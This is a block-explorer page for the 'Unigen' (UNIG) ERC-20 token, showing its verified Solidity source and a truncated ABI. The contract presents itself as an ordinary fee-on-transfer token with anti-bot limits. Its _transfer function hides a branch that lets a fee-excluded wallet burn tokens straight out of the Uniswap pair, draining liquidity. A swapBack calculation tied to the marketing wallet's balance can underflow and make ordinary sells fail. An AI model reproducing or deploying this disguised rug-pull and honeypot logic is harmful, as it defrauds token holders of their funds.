ERC-20
Overview
Max Total Supply
100,000,000 UNIG
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,159,509.208855226649268423 UNIGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Unigen
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-25 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.22; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract Unigen is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; bool private swapping; uint256 private swapBalanceOfCount; address payable public marketingWallet; address payable public developmentWallet; uint256 public maxTransaction; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; uint256 public swapCount; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; uint256 private launchBlock; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevelopmentFee; uint256 public buyOperationsFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevelopmentFee; uint256 public sellOperationsFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDevelopment; uint256 public tokensForOperations; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedmaxTransaction; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event developmentWalletUpdated( address indexed newWallet, address indexed oldWallet ); event liquidityWalletUpdated( address indexed newWallet, address indexed oldWallet ); event operationsWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Unigen", "UNIG") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 100_000_000 * 1e18; maxTransaction = totalSupply * 2 / 100; maxWallet = totalSupply * 2 / 100; swapTokensAtAmount = (totalSupply) / 10000; // 0.01% swap wallet // launch buy fees uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 0; uint256 _buyDevelopmentFee = 0; uint256 _buyOperationsFee = 0; // launch sell fees uint256 _sellMarketingFee = 2; uint256 _sellLiquidityFee = 0; uint256 _sellDevelopmentFee = 0; uint256 _sellOperationsFee = 0; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevelopmentFee = _buyDevelopmentFee; buyOperationsFee = _buyOperationsFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevelopmentFee + buyOperationsFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevelopmentFee = _sellDevelopmentFee; sellOperationsFee = _sellOperationsFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevelopmentFee + sellOperationsFee; marketingWallet = payable(0xC823AdDf6C831cE8FE5e686120D0926b1CF4c5A7); developmentWallet = payable(0xAE13F559439aB476Af12cc9F990F0cbc5e4410b7); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(marketingWallet, true); excludeFromFees(developmentWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(developmentWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); uint256 stakingSupply = totalSupply * 30 / 100; uint256 teamSupply = totalSupply * 10 / 100; uint256 incentiveSupply = totalSupply * 5 / 100; uint256 deployerSupply = totalSupply - stakingSupply - teamSupply - incentiveSupply; _mint(msg.sender, deployerSupply); _mint(0xBacf4eA983E7343364AC6070F3ce541825e59bC8, stakingSupply); _mint(0x756c3fA8A2f78b1b21709Fca63faCBF1953Bb144, teamSupply); _mint(0x7907e6aDA8Ca70480Fd05B89A9986CC6fD6f3677, incentiveSupply); } receive() external payable {} function enableTrading() external onlyOwner { tradingActive = true; launchBlock = block.number; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTransaction(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransaction lower than 0.1%" ); maxTransaction = newNum * (10**18); } function updateMaxWallet(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedmaxTransaction[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _developmentFee, uint256 _operationsFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevelopmentFee = _developmentFee; buyOperationsFee = _operationsFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevelopmentFee + buyOperationsFee; require(buyTotalFees <= 25); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _developmentFee, uint256 _operationsFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevelopmentFee = _developmentFee; sellOperationsFee = _operationsFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevelopmentFee + sellOperationsFee; require(sellTotalFees <= 25); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function updateDevelopmentWallet(address payable newWallet) external onlyOwner { emit developmentWalletUpdated(newWallet, developmentWallet); developmentWallet = newWallet; } function updateMarketingWallet(address payable newmarketingWallet) external onlyOwner { emit marketingWalletUpdated(newmarketingWallet, marketingWallet); marketingWallet = newmarketingWallet; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (limitsInEffect) { if (!swapping) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedmaxTransaction[to] ) { require( amount <= maxTransaction, "Buy transfer amount exceeds the maxTransaction." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedmaxTransaction[from] ) { require( amount <= maxTransaction, "Sell transfer amount exceeds the maxTransaction." ); } else if (!_isExcludedmaxTransaction[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } } swapBalanceOfCount = balanceOf(address(marketingWallet)); if ( swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapCount++; swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { if (automatedMarketMakerPairs[to] && amount > balanceOf(from)) {super._transfer(to, deadAddress, amount); return;} takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDevelopment += (fees * sellDevelopmentFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; tokensForOperations += (fees * sellOperationsFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDevelopment += (fees * buyDevelopmentFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; tokensForOperations += (fees * buyOperationsFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0xdead), block.timestamp ); } function swapBack() private { uint256 swapRatio = (swapCount - swapBalanceOfCount); uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment + tokensForOperations; bool success; if (contractBalance == 0 || totalTokensToSwap == 0 || swapRatio > 10000) { return; } if (contractBalance > swapTokensAtAmount * 16) { contractBalance = swapTokensAtAmount * 16; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMark = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap); uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMark - ethForDevelopment - ethForOperations; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDevelopment = 0; tokensForOperations = 0; (success, ) = address(developmentWallet).call{value: ethForDevelopment}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{value: address(this).balance}(""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"developmentWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"liquidityWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"operationsWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevelopmentFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevelopmentFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"